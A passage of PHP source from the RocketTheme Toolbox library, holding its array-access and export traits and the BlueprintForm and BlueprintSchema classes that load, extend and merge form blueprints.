return \count($this->items);
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
use Symfony\Component\Yaml\Exception\DumpException;
use Symfony\Component\Yaml\Yaml;
/**
* Implements ExportInterface.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait Export
{
/**
* Convert object into an array.
*
* @return array
*/
public function toArray()
{
return $this->items;
}
/**
* Convert object into YAML string.
*
* @param int $inline The level where you switch to inline YAML.
* @param int $indent The amount of spaces to use for indentation of
nested nodes.
*
* @return string A YAML string representing the object.
* @throws DumpException
*/
public function toYaml($inline = 3, $indent = 2)
{
return Yaml::dump($this->toArray(), $inline, $indent, true,
false);
}
/**
* Convert object into JSON string.
*
* @return string
*/
public function toJson()
{
return json_encode($this->toArray());
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Defines Export interface.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*/
interface ExportInterface
{
/**
* Convert object into an array.
*
* @return array
*/
public function toArray();
/**
* Convert object into YAML string.
*
* @param int $inline
* @param int $indent
* @return string
*/
public function toYaml($inline = 3, $indent = 2);
/**
* Convert object into JSON string.
*
* @return string
*/
public function toJson();
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements \Iterator interface.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait Iterator
{
/**
* Hack to make Iterator work together with unset().
*
* @var bool
*/
private $iteratorUnset = false;
/**
* Returns the current element.
*
* @return mixed Can return any type.
*/
public function current()
{
return current($this->items);
}
/**
* Returns the key of the current element.
*
* @return mixed Returns scalar on success, or NULL on failure.
*/
public function key()
{
return key($this->items);
}
/**
* Moves the current position to the next element.
*
* @return void
*/
public function next()
{
if ($this->iteratorUnset) {
// If current item was unset, position is already in the next
element (do nothing).
$this->iteratorUnset = false;
} else {
next($this->items);
}
}
/**
* Rewinds back to the first element of the Iterator.
*
* @return void
*/
public function rewind()
{
$this->iteratorUnset = false;
reset($this->items);
}
/**
* This method is called after Iterator::rewind() and Iterator::next()
to check if the current position is valid.
*
* @return bool Returns TRUE on success or FALSE on failure.
*/
public function valid()
{
return key($this->items) !== null;
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements nested ArrayAccess interface with dot notation.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait NestedArrayAccess
{
protected $nestedSeparator = '.';
/**
* Get value by using dot notation for nested arrays/objects.
*
* @example $value =
$this->get('this.is.my.nested.variable');
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
* @return mixed Value.
*/
public function get($name, $default = null, $separator = null)
{
$path = explode($separator ?: $this->nestedSeparator, $name);
$current = $this->items;
foreach ($path as $field) {
if (\is_object($current) &&
isset($current->{$field})) {
$current = $current->{$field};
} elseif (\is_array($current) &&
isset($current[$field])) {
$current = $current[$field];
} else {
return $default;
}
}
return $current;
}
/**
* Set value by using dot notation for nested arrays/objects.
*
* @example $data->set('this.is.my.nested.variable',
$value);
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $value New value.
* @param string $separator Separator, defaults to '.'
* @return $this
*/
public function set($name, $value, $separator = null)
{
$path = explode($separator ?: $this->nestedSeparator, $name);
$current = &$this->items;
foreach ($path as $field) {
if (\is_object($current)) {
// Handle objects.
if (!isset($current->{$field})) {
$current->{$field} = [];
}
$current = &$current->{$field};
} else {
// Handle arrays and scalars.
if (!\is_array($current)) {
$current = [$field => []];
} elseif (!isset($current[$field])) {
$current[$field] = [];
}
$current = &$current[$field];
}
}
$current = $value;
return $this;
}
/**
* Unset value by using dot notation for nested arrays/objects.
*
* @example $data->undef('this.is.my.nested.variable');
*
* @param string $name Dot separated path to the requested
value.
* @param string $separator Separator, defaults to '.'
* @return $this
*/
public function undef($name, $separator = null)
{
if ($name === '') {
$this->items = [];
return $this;
}
$path = explode($separator ?: $this->nestedSeparator, $name);
$var = array_pop($path);
$current = &$this->items;
foreach ($path as $field) {
if (\is_object($current)) {
// Handle objects.
if (!isset($current->{$field})) {
return $this;
}
$current = &$current->{$field};
} else {
// Handle arrays and scalars.
if (!\is_array($current) || !isset($current[$field])) {
return $this;
}
$current = &$current[$field];
}
}
unset($current[$var]);
return $this;
}
/**
* Set default value by using dot notation for nested arrays/objects.
*
* @example $data->def('this.is.my.nested.variable',
'default');
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
* @return $this
*/
public function def($name, $default = null, $separator = null)
{
$this->set($name, $this->get($name, $default, $separator),
$separator);
return $this;
}
/**
* Whether or not an offset exists.
*
* @param mixed $offset An offset to check for.
* @return bool Returns TRUE on success or FALSE on failure.
*/
public function offsetExists($offset)
{
return $this->get($offset) !== null;
}
/**
* Returns the value at specified offset.
*
* @param mixed $offset The offset to retrieve.
* @return mixed Can return all value types.
*/
public function offsetGet($offset)
{
return $this->get($offset);
}
/**
* Assigns a value to the specified offset.
*
* @param mixed $offset The offset to assign the value to.
* @param mixed $value The value to set.
*/
public function offsetSet($offset, $value)
{
if (null === $offset) {
$this->items[] = $value;
} else {
$this->set($offset, $value);
}
}
/**
* Unsets variable at specified offset.
*
* @param $offset
*/
public function offsetUnset($offset)
{
if (null === $offset) {
$this->items[] = [];
} else {
$this->undef($offset);
}
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements getters and setters.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*/
trait NestedArrayAccessWithGetters
{
use NestedArrayAccess;
/**
* Magic setter method
*
* @param mixed $offset Asset name value
* @param mixed $value Asset value
*/
public function __set($offset, $value)
{
$this->offsetSet($offset, $value);
}
/**
* Magic getter method
*
* @param mixed $offset Asset name value
* @return mixed Asset value
*/
public function __get($offset)
{
return $this->offsetGet($offset);
}
/**
* Magic method to determine if the attribute is set
*
* @param mixed $offset Asset name value
* @return boolean True if the value is set
*/
public function __isset($offset)
{
return $this->offsetExists($offset);
}
/**
* Magic method to unset the attribute
*
* @param mixed $offset The name value to unset
*/
public function __unset($offset)
{
$this->offsetUnset($offset);
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements \Serializable interface.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait Serializable
{
/**
* Returns string representation of the object.
*
* @return string Returns the string representation of the object.
*/
public function serialize()
{
return serialize($this->items);
}
/**
* Called during unserialization of the object.
*
* @param string $serialized The string representation of the object.
*/
public function unserialize($serialized)
{
$this->items = unserialize($serialized);
}
}
<?php
namespace RocketTheme\Toolbox\Blueprints;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
use RuntimeException;
/**
* The Config class contains configuration information.
*
* @author RocketTheme
*/
abstract class BlueprintForm implements \ArrayAccess, ExportInterface
{
use NestedArrayAccessWithGetters;
use Export;
/** @var array */
protected $items;
/** @var string */
protected $filename;
/** @var string */
protected $context;
/** @var array */
protected $overrides = [];
/** @var array */
protected $dynamic = [];
/**
* Load file and return its contents.
*
* @param string $filename
* @return array
*/
abstract protected function loadFile($filename);
/**
* Get list of blueprint form files (file and its parents for
overrides).
*
* @param string|array $path
* @param string $context
* @return array
*/
abstract protected function getFiles($path, $context = null);
/**
* Constructor.
*
* @param string|array $filename
* @param array $items
*/
public function __construct($filename = null, array $items = [])
{
$this->nestedSeparator = '/';
$this->filename = $filename;
$this->items = $items;
}
/**
* Set filename for the blueprint. Can also be array of files for
parent lookup.
*
* @param string|array $filename
* @return $this
*/
public function setFilename($filename)
{
$this->filename = $filename;
return $this;
}
/**
* Get the filename of the blueprint.
*
* @return array|null|string
*/
public function getFilename()
{
return $this->filename;
}
/**
* Set context for import@ and extend@.
*
* @param $context
* @return $this
*/
public function setContext($context)
{
$this->context = $context;
return $this;
}
/**
* Set custom overrides for import@ and extend@.
*
* @param array $overrides
* @return $this
*/
public function setOverrides($overrides)
{
$this->overrides = $overrides;
return $this;
}
/**
* Load blueprint.
*
* @return $this
*/
public function load($extends = null)
{
// Only load and extend blueprint if it has not yet been loaded.
if (empty($this->items) && $this->filename) {
// Get list of files.
$files = $this->getFiles($this->filename);
// Load and extend blueprints.
$data = $this->doLoad($files, $extends);
$this->items = (array) array_shift($data);
foreach ($data as $content) {
$this->extend($content, true);
}
}
// Import blueprints.
$this->deepInit($this->items);
return $this;
}
/**
* Initialize blueprints with its dynamic fields.
*
* @return $this
*/
public function init()
{
foreach ($this->dynamic as $key => $data) {
// Locate field.
$path = explode('/', $key);
$current = &$this->items;
foreach ($path as $field) {
if (\is_object($current)) {
// Handle objects.
if (!isset($current->{$field})) {
$current->{$field} = [];
}
$current = &$current->{$field};
} else {
// Handle arrays and scalars.
if (!\is_array($current)) {
$current = [$field => []];
} elseif (!isset($current[$field])) {
$current[$field] = [];
}
$current = &$current[$field];
}
}
// Set dynamic property.
foreach ($data as $property => $call) {
$action = 'dynamic' .
ucfirst($call['action']);
if (method_exists($this, $action)) {
$this->{$action}($current, $property, $call);
}
}
}
return $this;
}
/**
* Get form.
*
* @return array
*/
public function form()
{
return (array) $this->get('form');
}
/**
* Get form fields.
*
* @return array
*/
public function fields()
{
$fields = $this->get('form/fields');
if ($fields === null) {
$field = $this->get('form/field');
$fields = $field !== null ? ['' => (array) $field]
: $fields;
}
return (array) $fields;
}
/**
* Extend blueprint with another blueprint.
*
* @param BlueprintForm|array $extends
* @param bool $append
* @return $this
*/
public function extend($extends, $append = false)
{
if ($extends instanceof self) {
$extends = $extends->toArray();
}
if ($append) {
$a = $this->items;
$b = $extends;
} else {
$a = $extends;
$b = $this->items;
}
$this->items = $this->deepMerge($a, $b);
return $this;
}
/**
* @param string $name
* @param mixed $value
* @param string $separator
* @param bool $append
* @return $this
*/
public function embed($name, $value, $separator = '/',
$append = false)
{
$oldValue = $this->get($name, null, $separator);
if (\is_array($oldValue) && \is_array($value)) {
if ($append) {
$a = $oldValue;
$b = $value;
} else {
$a = $value;
$b = $oldValue;
}
$value = $this->deepMerge($a, $b);
}
$this->set($name, $value, $separator);
return $this;
}
/**
* Get blueprints by using slash notation for nested arrays/objects.
*
* @example $value =
$this->resolve('this/is/my/nested/variable');
* returns ['this/is/my', 'nested/variable']
*
* @param array $path
* @param string $separator
* @return array
*/
public function resolve(array $path, $separator = '/')
{
$fields = false;
$parts = [];
$current = $this['form/fields'];
$result = [null, null, null];
while (($field = current($path)) !== null) {
if (!$fields && isset($current['fields'])) {
if (!empty($current['array'])) {
$result = [$current, $parts, $path ?
implode($separator, $path) : null];
// Skip item offset.
$parts[] = array_shift($path);
}
$current = $current['fields'];
$fields = true;
} elseif (isset($current[$field])) {
$parts[] = array_shift($path);
$current = $current[$field];
$fields = false;
} elseif (isset($current[$index = '.' . $field])) {
$parts[] = array_shift($path);
$current = $current[$index];
$fields = false;
} else {
break;
}
}
return $result;
}
/**
* Deep merge two arrays together.
*
* @param array $a
* @param array $b
* @return array
*/
protected function deepMerge(array $a, array $b)
{
$bref_stack = [&$a];
$head_stack = [$b];
do {
end($bref_stack);
$bref = &$bref_stack[key($bref_stack)];
$head = array_pop($head_stack);
unset($bref_stack[key($bref_stack)]);
foreach ($head as $key => $value) {
if (strpos($key, '@') !== false) {
// Remove @ from the start and the end. Key syntax
`import@2` is supported to allow multiple operations of the same type.
$list = explode('-',
preg_replace('/^(@*)?([^@]+)(@\d*)?$/', '\2', $key),
2);
$action = array_shift($list);
$property = array_shift($list);
switch ($action) {
case 'unset':
case 'replace':
if (!$property) {
$bref = ['unset@' => true];
} else {
unset($bref[$property]);
}
continue 2;
}
}
if (isset($key, $bref[$key]) &&
\is_array($bref[$key]) && \is_array($head[$key])) {
$bref_stack[] = &$bref[$key];
$head_stack[] = $head[$key];
} else {
$bref = array_merge($bref, [$key => $head[$key]]);
}
}
} while (\count($head_stack));
return $a;
}
/**
* @param array $items
* @param array $path
* @return string
*/
protected function deepInit(array &$items, $path = [])
{
$ordering = '';
$order = [];
$field = end($path) === 'fields';
foreach ($items as $key => &$item) {
// Set name for nested field.
if ($field && isset($item['type'])) {
$item['name'] = $key;
}
// Handle special instructions in the form.
if (strpos($key, '@') !== false) {
// Remove @ from the start and the end. Key syntax
`import@2` is supported to allow multiple operations of the same type.
$list = explode('-',
preg_replace('/^(@*)?([^@]+)(@\d*)?$/', '\2', $key),
2);
$action = array_shift($list);
$property = array_shift($list);
switch ($action) {
case 'unset':
unset($items[$key]);
if (empty($items)) {
return null;
}
break;
case 'import':
unset($items[$key]);
$this->doImport($item, $path);
break;
case 'ordering':
$ordering = $item;
unset($items[$key]);
break;
default:
$this->dynamic[implode('/',
$path)][$property] = ['action' => $action, 'params'
=> $item];
}
} elseif (\is_array($item)) {
// Recursively initialize form.
$newPath = array_merge($path, [$key]);
$location = $this->deepInit($item, $newPath);
if ($location) {
$order[$key] = $location;
} elseif ($location === null) {
unset($items[$key]);
}
}
}
unset($item);
if ($order) {
// Reorder fields if needed.
$items = $this->doReorder($items, $order);
}
return $ordering;
}
/**
* @param array|string $value
* @return array|null
*/
protected function loadImport($value)
{
$type = !\is_string($value) ? (!isset($value['type']) ?
null : $value['type']) : $value;
$field = 'form';
if ($type && strpos($type, ':') !== false) {
list ($type, $field) = explode(':', $type, 2);
}
if (!$type && !$field) {
return null;
}
if ($type) {
$files = $this->getFiles($type,
isset($value['context']) ? $value['context'] : null);
if (!$files) {
return null;
}
/** @var BlueprintForm $blueprint */
$blueprint = new static($files);
$blueprint->setContext($this->context)->setOverrides($this->overrides)->load();
} else {
$blueprint = $this;
}
$import = $blueprint->get($field);
return \is_array($import) ? $import : null;
}
/**
* @param array|string $value
* @param array $path
*/
protected function doImport($value, array &$path)
{
$imported = $this->loadImport($value);
if ($imported) {
$this->deepInit($imported, $path);
$name = implode('/', $path);
$this->embed($name, $imported, '/', false);
}
}
/**
* Internal function that handles loading extended blueprints.
*
* @param array $files
* @param string|array|null $extends
* @return array
*/
protected function doLoad(array $files, $extends = null)
{
$filename = array_shift($files);
$content = $this->loadFile($filename);
$key = '';
if (isset($content['extends@'])) {
$key = 'extends@';
} elseif (isset($content['@extends'])) {
$key = '@extends';
} elseif (isset($content['@extends@'])) {
$key = '@extends@';
}
$override = (bool)$extends;
$extends = (array)($key && !$extends ? $content[$key] :
$extends);
unset($content['extends@'],
$content['@extends'], $content['@extends@']);
$data = $extends ? $this->doExtend($filename, $files, $extends,
$override) : [];
$data[] = $content;
return $data;
}
/**
* Internal function to recursively load extended blueprints.
*
* @param string $filename
* @param array $parents
* @param array $extends
* @return array
*/
protected function doExtend($filename, array $parents, array $extends,
$override = false)
{
if (\is_string(key($extends))) {
$extends = [$extends];
}
$data = [[]];
foreach ($extends as $value) {
// Accept array of type and context or a string.
$type = !\is_string($value) ? (!isset($value['type'])
? null : $value['type']) : $value;
if (!$type) {
continue;
}
if ($type === '@parent' || $type ===
'parent@') {
if (!$parents) {
throw new RuntimeException("Parent blueprint
missing for '{$filename}'");
}
$files = $parents;
} else {
$files = $this->getFiles($type,
isset($value['context']) ? $value['context'] : null);
if ($override && !$files) {
throw new RuntimeException("Blueprint
'{$type}' missing for '{$filename}'");
}
// Detect extend loops.
if ($files && array_intersect($files, $parents)) {
// Let's check if user really meant extends@:
parent@.
$index = \array_search($filename, $files, true);
if ($index !== false) {
// We want to grab only the parents of the file
which is currently being loaded.
$files = \array_slice($files, $index + 1);
}
if ($files !== $parents) {
throw new RuntimeException("Loop detected
while extending blueprint file '{$filename}'");
}
if (!$parents) {
throw new RuntimeException("Parent blueprint
missing for '{$filename}'");
}
}
}
if ($files) {
$data[] = $this->doLoad($files);
}
}
// TODO: In PHP 5.6+ use array_merge(...$data);
return call_user_func_array('array_merge', $data);
}
/**
* Internal function to reorder items.
*
* @param array $items
* @param array $keys
* @return array
*/
protected function doReorder(array $items, array $keys)
{
$reordered = array_keys($items);
foreach ($keys as $item => $ordering) {
if ((string)(int) $ordering === (string) $ordering) {
$location = array_search($item, $reordered, true);
$rel = array_splice($reordered, $location, 1);
array_splice($reordered, $ordering, 0, $rel);
} elseif (isset($items[$ordering])) {
$location = array_search($item, $reordered, true);
$rel = array_splice($reordered, $location, 1);
$location = array_search($ordering, $reordered, true);
array_splice($reordered, $location + 1, 0, $rel);
}
}
return array_merge(array_flip($reordered), $items);
}
}
<?php
namespace RocketTheme\Toolbox\Blueprints;
/**
* Deprecated class, use BlueprintSchema instead.
*
* @package RocketTheme\Toolbox\Blueprints
* @author RocketTheme
* @license MIT
* @deprecated
*/
class Blueprints extends BlueprintSchema {}
<?php
namespace RocketTheme\Toolbox\Blueprints;
/**
* BlueprintSchema is used to define a data structure.
*
* @package RocketTheme\Toolbox\Blueprints
* @author RocketTheme
* @license MIT
*/
class BlueprintSchema
{
/** @var array */
protected $items = [];
/** @var array */
protected $rules = [];
/** @var array */
protected $nested = [];
/** @var array */
protected $dynamic = [];
/** @var array */
protected $filter = ['validation' => true];
/** @var array */
protected $ignoreFormKeys = ['fields' => 1];
/** @var array */
protected $types = [];
/**
* Constructor.
*
* @param array $serialized Serialized content if available.
*/
public function __construct($serialized = null)
{
if (\is_array($serialized) && !empty($serialized)) {
$this->items = (array) $serialized['items'];
$this->rules = (array) $serialized['rules'];
$this->nested = (array) $serialized['nested'];
$this->dynamic = (array) $serialized['dynamic'];
$this->filter = (array) $serialized['filter'];
}
}
/**
* @param array $types
* @return $this
*/
public function setTypes(array $types)
{
$this->types = $types;
return $this;
}
/**
* Restore Blueprints object.
*
* @param array $serialized
* @return static
*/
public static function restore(array $serialized)
{
return new static($serialized);
}
/**
* Initialize blueprints with its dynamic fields.
*
* @return $this
*/
public function init()
{
foreach ($this->dynamic as $key => $data) {
$field = &$this->items[$key];
foreach ($data as $property => $call) {
$action = 'dynamic' .
ucfirst($call['action']);
if (method_exists($this, $action)) {
$this->{$action}($field, $property, $call);
}
}
}
return $this;
}
/**
* Set filter for inherited properties.
*
* @param array $filter List of field names to be inherited.
*/
public function setFilter(array $filter)
{
$this->filter = array_flip($filter);
}
/**
* Get value by using dot notation for nested arrays/objects.
*
* @example $value =
$data->get('this.is.my.nested.variable');
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
*
* @return mixed Value.
*/
public function get($name, $default = null, $separator = '.')
{
$name = $separator !== '.' ? str_replace($separator,
'.', $name) : $name;
return isset($this->items[$name]) ? $this->items[$name] :
$default;
}
/**
* Set value by using dot notation for nested arrays/objects.
*
* @example $value =
$data->set('this.is.my.nested.variable', $newField);
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $value New value.
* @param string $separator Separator, defaults to '.'
*/
public function set($name, $value, $separator = '.')
{
$name = $separator !== '.' ? str_replace($separator,
'.', $name) : $name;
$this->items[$name] = $value;
$this->addProperty($name);
}
/**
* Define value by using dot notation for nested arrays/objects.
*
* @example $value =
$data->set('this.is.my.nested.variable', true);
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $value New value.
* @param string $separator Separator, defaults to '.'
*/
public function def($name, $value, $separator = '.')
{
$this->set($name, $this->get($name, $value, $separator),
$separator);
}
/**
* @return array
* @deprecated
*/
public function toArray()
{
return $this->getState();
}
/**
* Convert object into an array.
*
* @return array
*/
public function getState()
{
return [
'items' => $this->items,
'rules' => $this->rules,
'nested' => $this->nested,
'dynamic' => $this->dynamic,
'filter' => $this->filter
];
}
/**
* Get nested structure containing default values defined in the
blueprints.
*
* Fields without default value are ignored in the list.
*
* @return array
*/
public function getDefaults()
{
return $this->buildDefaults($this->nested);
}
/**
* Embed an array to the blueprint.
*
* @param $name
* @param array $value
* @param string $separator
* @param bool $merge Merge fields instead replacing them.
* @return $this
*/
public function embed($name, array $value, $separator = '.',
$merge = false)
{
if (isset($value['rules'])) {
$this->rules = array_merge($this->rules,
$value['rules']);
}
$name = $separator !== '.' ? str_replace($separator,
'.', $name) : $name;
if (isset($value['form'])) {
$form = array_diff_key($value['form'],
['fields' => 1, 'field' => 1]);
} else {
$form = [];
}
$items = isset($this->items[$name]) ? $this->items[$name] :
['type' => '_root', 'form_field' =>
false];
$this->items[$name] = $items;
$this->addProperty($name);
$prefix = $name ? $name . '.' : '';
$params = array_intersect_key($form, $this->filter);
$location = [$name];
if (isset($value['form']['field'])) {
$this->parseFormField($name,
$value['form']['field'], $params, $prefix,
'', $merge, $location);
} elseif (isset($value['form']['fields'])) {
$this->parseFormFields($value['form']['fields'],
$params, $prefix, '', $merge, $location);
}
$this->items[$name] += ['form' => $form];
return $this;
}
/**
* Merge two arrays by using blueprints.
*
* @param array $data1
* @param array $data2
* @param string $name Optional
* @param string $separator Optional
* @return array
*/
public function mergeData(array $data1, array $data2, $name = null,
$separator = '.')
{
$nested = $this->getNested($name, $separator);
if (!\is_array($nested)) {
$nested = [];
}
return $this->mergeArrays($data1, $data2, $nested);
}
/**
* Get the property with given path.
*
* @param string $path
* @param string $separator
* @return mixed
*/
public function getProperty($path = null, $separator = '.')
{
$name = $this->getPropertyName($path, $separator);
$property = $this->get($name);
$nested = $this->getNested($name);
return $this->getPropertyRecursion($property, $nested);
}
/**
* Returns name of the property with given path.
*
* @param string $path
* @param string $separator
* @return string
*/
public function getPropertyName($path = null, $separator =
'.')
{
$parts = explode($separator, $path);
$nested = $this->nested;
$result = [];
while (($part = array_shift($parts)) !== null) {
if (!isset($nested[$part])) {
if (isset($nested['*'])) {
$part = '*';
} else {
return implode($separator, array_merge($result,
[$part], $parts));
}
}
$result[] = $part;
$nested = $nested[$part];
}
return implode('.', $result);
}
/**
* Return data fields that do not exist in blueprints.
*
* @param array $data
* @param string $prefix
* @return array
*/
public function extra(array $data, $prefix = '')
{
$rules = $this->nested;
// Drill down to prefix level
if (!empty($prefix)) {
$parts = explode('.', trim($prefix, '.'));
foreach ($parts as $part) {
$rules = isset($rules[$part]) ? $rules[$part] : [];
}
}
// Check if the form cannot have extra fields.
if (isset($rules[''])) {
$rule = $this->items[''];
if (isset($rule['type']) &&
$rule['type'] !== '_root') {
return [];
}
}
return $this->extraArray($data, $rules, $prefix);
}
/**
* Get the property with given path.
*
* @param $property
* @param $nested
* @return mixed
*/
protected function getPropertyRecursion($property, $nested)
{
if (empty($nested) || !\is_array($nested) ||
!isset($property['type'])) {
return $property;
}
if ($property['type'] === '_root') {
foreach ($nested as $key => $value) {
if ($key === '') {
continue;
}
$name = \is_array($value) ? $key : $value;
$property['fields'][$key] =
$this->getPropertyRecursion($this->get($name), $value);
}
} elseif ($property['type'] === '_parent' ||
!empty($property['array'])) {
foreach ($nested as $key => $value) {
$name = \is_array($value) ?
"{$property['name']}.{$key}" : $value;
$property['fields'][$key] =
$this->getPropertyRecursion($this->get($name), $value);
}
}
return $property;
}
/**
* Get property from the definition.
*
* @param string $path Comma separated path to the property.
* @param string $separator
* @return array|string|null
* @internal
*/
protected function getNested($path = null, $separator = '.')
{
if (!$path) {
return $this->nested;
}
$parts = explode($separator, $path);
$item = array_pop($parts);
$nested = $this->nested;
foreach ($parts as $part) {
if (!isset($nested[$part])) {
$part = '*';
if (!isset($nested[$part])) {
return [];
}
}
$nested = $nested[$part];
}
return isset($nested[$item]) ? $nested[$item] :
(isset($nested['*']) ? $nested['*'] : null);
}
/**
* @param array $nested
* @return array
*/
protected function buildDefaults(array $nested)
{
$defaults = [];
foreach ($nested as $key => $value) {
if ($key === '*') {
// TODO: Add support for adding defaults to collections.
continue;
}
if (\is_array($value)) {
// Recursively fetch the items.
$list = $this->buildDefaults($value);
// Only return defaults if there are any.
if (!empty($list)) {
$defaults[$key] = $list;
}
} else {
// We hit a field; get default from it if it exists.
$item = $this->get($value);
// Only return default value if it exists.
if (isset($item['default'])) {
$defaults[$key] = $item['default'];
}
}
}
return $defaults;
}
/**
* @param array $data1
* @param array $data2
* @param array $rules
* @return array
* @internal
*/
protected function mergeArrays(array $data1, array $data2, array
$rules)
{
foreach ($data2 as $key => $field) {
$val = isset($rules[$key]) ? $rules[$key] : null;
$rule = \is_string($val) ? $this->items[$val] : null;
if ((array_key_exists($key, $data1) &&
\is_array($data1[$key]) && \is_array($field) &&
\is_array($val) && !isset($val['*']))
|| (!empty($rule['type']) &&
strpos($rule['type'], '_') === 0)) {
// Array has been defined in blueprints and is not a
collection of items.
$data1[$key] = $this->mergeArrays($data1[$key], $field,
$val);
} else {
// Otherwise just take value from the data2.
$data1[$key] = $field;
}
}
return $data1;
}
/**
* Gets all field definitions from the blueprints.
*
* @param array $fields Fields to parse.
* @param array $params Property parameters.
* @param string $prefix Property prefix.
* @param string $parent Parent property.
* @param bool $merge Merge fields instead replacing them.
* @param array $formPath
*/
protected function parseFormFields(array $fields, array $params,
$prefix = '', $parent = '', $merge = false, array
$formPath = [])
{
if (isset($fields['type']) &&
!\is_array($fields['type'])) {
return;
}
// Go though all the fields in current level.
foreach ($fields as $key => $field) {
$this->parseFormField($key, $field, $params, $prefix,
$parent, $merge, $formPath);
}
}
/**
* @param string $key
* @param array $field
* @param array $params
* @param string $prefix
* @param string $parent
* @param bool $merge
* @param array $formPath
*/
protected function parseFormField($key, array $field, array $params,
$prefix = '', $parent = '', $merge = false, array
$formPath = [])
{
// Skip illegal field (needs to be an array).
if (!\is_array($field)) {
return;
}
$key = $this->getFieldKey($key, $prefix, $parent);
$newPath = array_merge($formPath, [$key]);
$properties = array_diff_key($field, $this->ignoreFormKeys) +
$params;
$properties['name'] = $key;
// Set default properties for the field type.
$type = isset($properties['type']) ?
$properties['type'] : '';
if (isset($this->types[$type])) {
$properties += $this->types[$type];
}
// Merge properties with existing ones.
if ($merge && isset($this->items[$key])) {
$properties += $this->items[$key];
}
$isInputField = !isset($properties['input@']) ||
$properties['input@'];
$propertyExists = isset($this->items[$key]);
if (!$isInputField) {
// Remove property if it exists.
if ($propertyExists) {
$this->removeProperty($key);
}
} elseif (!$propertyExists) {
// Add missing property.
$this->addProperty($key);
}
if (isset($field['fields'])) {
// Recursively get all the nested fields.
$isArray = !empty($properties['array']);
$newParams = array_intersect_key($properties,
$this->filter);
$this->parseFormFields($field['fields'],
$newParams, $prefix, $key . ($isArray ? '.*': ''),
$merge, $newPath);
} else {
if (!isset($this->items[$key])) {
// Add parent rules.
$path = explode('.', $key);
array_pop($path);
$parent = '';
foreach ($path as $part) {
$parent .= ($parent ? '.' : '') .
$part;
if (!isset($this->items[$parent])) {
$this->items[$parent] = ['type' =>
'_parent', 'name' => $parent, 'form_field'
=> false];
}
}
}
if ($isInputField) {
$this->parseProperties($key, $properties);
}
}
if ($isInputField) {
$this->items[$key] = $properties;
}
}
protected function getFieldKey($key, $prefix, $parent)
{
// Set name from the array key.
if (strpos($key[0], '.') === 0) {
return ($parent ?: rtrim($prefix, '.')) . $key;
}
return $prefix . $key;
}
protected function parseProperties($key, array &$properties)
{
$key = ltrim($key, '.');
if (!empty($properties['data'])) {
$this->dynamic[$key] = $properties['data'];
}
foreach ($properties as $name => $value) {
if (strpos($name[0], '@') !== false) {
$list = explode('-', trim($name, '@'),
2);
$action = array_shift($list);
$property = array_shift($list);
$this->dynamic[$key][$property] = ['action'
=> $action, 'params' => $value];
}
}
// Initialize predefined validation rule.
if (isset($properties['validate']['rule'])) {
$properties['validate'] +=
$this->getRule($properties['validate']['rule']);
}
}
/**
* Add property to the definition.
*
* @param string $path Comma separated path to the property.
* @internal
*/
protected function addProperty($path)
{
$parts = explode('.', $path);
$item = array_pop($parts);
$nested = &$this->nested;
foreach ($parts as $part) {
if (!isset($nested[$part]) || !\is_array($nested[$part])) {
$nested[$part] = [];
}
$nested = &$nested[$part];
}
if (!isset($nested[$item])) {
$nested[$item] = $path;
}
}
/**
* Remove property to the definition.
*
* @param string $path Comma separated path to the property.
* @internal
*/
protected function removeProperty($path)
{
$parts = explode('.', $path);
$item = array_pop($parts);
$nested = &$this->nested;
foreach ($parts as $part) {
if (!isset($nested[$part]) || !\is_array($nested[$part])) {
return;
}
$nested = &$nested[$part];
}
if (isset($nested[$item])) {
unset($nested[$item]);
}
}
/**
* @param $rule
* @return array
* @internal
*/
protected function getRule($rule)
{
if (isset($this->rules[$rule]) &&
\is_array($this->rules[$rule])) {
return $this->rules[$rule];
}
return [];
}
/**
* @param array $data
* @param array $rules
* @param string $prefix
* @return array
* @internal
*/
protected function extraArray(array $data, array $rules, $prefix)
{
$array = [];
foreach ($data as $key => $field) {
$val = isset($rules[$key]) ? $rules[$key] :
(isset($rules['*']) ? $rules['*'] : null);
$rule = \is_string($val) ? $this->items[$val] : null;
if ($rule || isset($val['*'])) {
// Item has been defined in blueprints.
} elseif (\is_array($field) && \is_array($val)) {
// Array has been defined in blueprints.
$array += $this->extraArray($field, $val, $prefix . $key
. '.');
} else {
// Undefined/extra item.
$array[$prefix.$key] = $field;
}
}
return $array;
}
/**
* @param array $field
* @param string $property
* @param array $call
*/
protected function dynamicData(array &$field, $property, array
$call)
{
$params = $call['params'];
if (\is_array($params)) {
$function = array_shift($params);
} else {
$function = $params;
$params = [];
}
$list = explode('::', $function, 2);
$f = array_pop($list);
$o = array_pop($list);
if (!$o) {
if (\function_exists($f)) {
$data = \call_user_func_array($f, $params);
}
} else {
if (method_exists($o, $f)) {
$data = \call_user_func_array(array($o, $f), $params);
}
}
// If function returns a value,
if (isset($data)) {
if (\is_array($data) && isset($field[$property])
&& \is_array($field[$property])) {
// Combine field and @data-field together.
$field[$property] += $data;
} else {
